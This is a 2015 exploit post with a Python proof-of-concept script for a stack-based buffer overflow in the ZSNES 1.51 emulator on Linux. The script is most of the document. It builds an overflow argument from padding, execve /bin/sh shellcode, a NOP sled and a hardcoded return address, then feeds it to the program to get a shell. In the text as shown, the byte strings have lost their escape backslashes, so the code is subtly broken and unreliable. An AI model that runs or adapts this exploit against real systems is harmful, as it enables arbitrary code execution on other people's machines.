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ZSNES 1.51 Stack-Based Buffer Overflow

Posted on 27 August 2015

# Exploit Author: Juan Sacco - http://www.exploitpack.comp <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali Linux 2.0
# Description: ZSNES v1.51 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.zsnes.com
# Kali Linux 2.0 package: 1.510+bz2-8 (/var/lib/apt/lists/http.kali.org_kali_dists_sana_main_binary-i386_Packages)
# MD5: 23c1e4d12b6b8895961a29f2fd91570b

def run():
 try:
 print "# ZSNES v1.51 Stack-BoF by Juan Sacco"
 print "# Wasting CPU clocks on unusable exploits"
 print "# This exploit is for educational purposes only"
 # Basic structure: JUNK + SHELLCODE + NOPS + EIP
 junk = "x41"*8
 shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99
xb0x0bxcdx80"
 nops = "x90"*589
 eip = "x10xf0xffxbf"

 subprocess.call(["zsnes", junk + shellcode + nops + eip])

 except OSError as e:
 if e.errno == os.errno.ENOENT:
 print "ZSNES not found!"
 else:
 print "Error executing exploit"
 raise

def howtousage():
 print "Sorry, something went wrong"
 sys.exit(-1)

if __name__ == '__main__':
 try:
 print "Exploit ZSNES 1.51 Remote Buffer Overflow Exploit"
 print "Author: Juan Sacco (Runlvl)"
 except IndexError:
 howtousage()
run()

 

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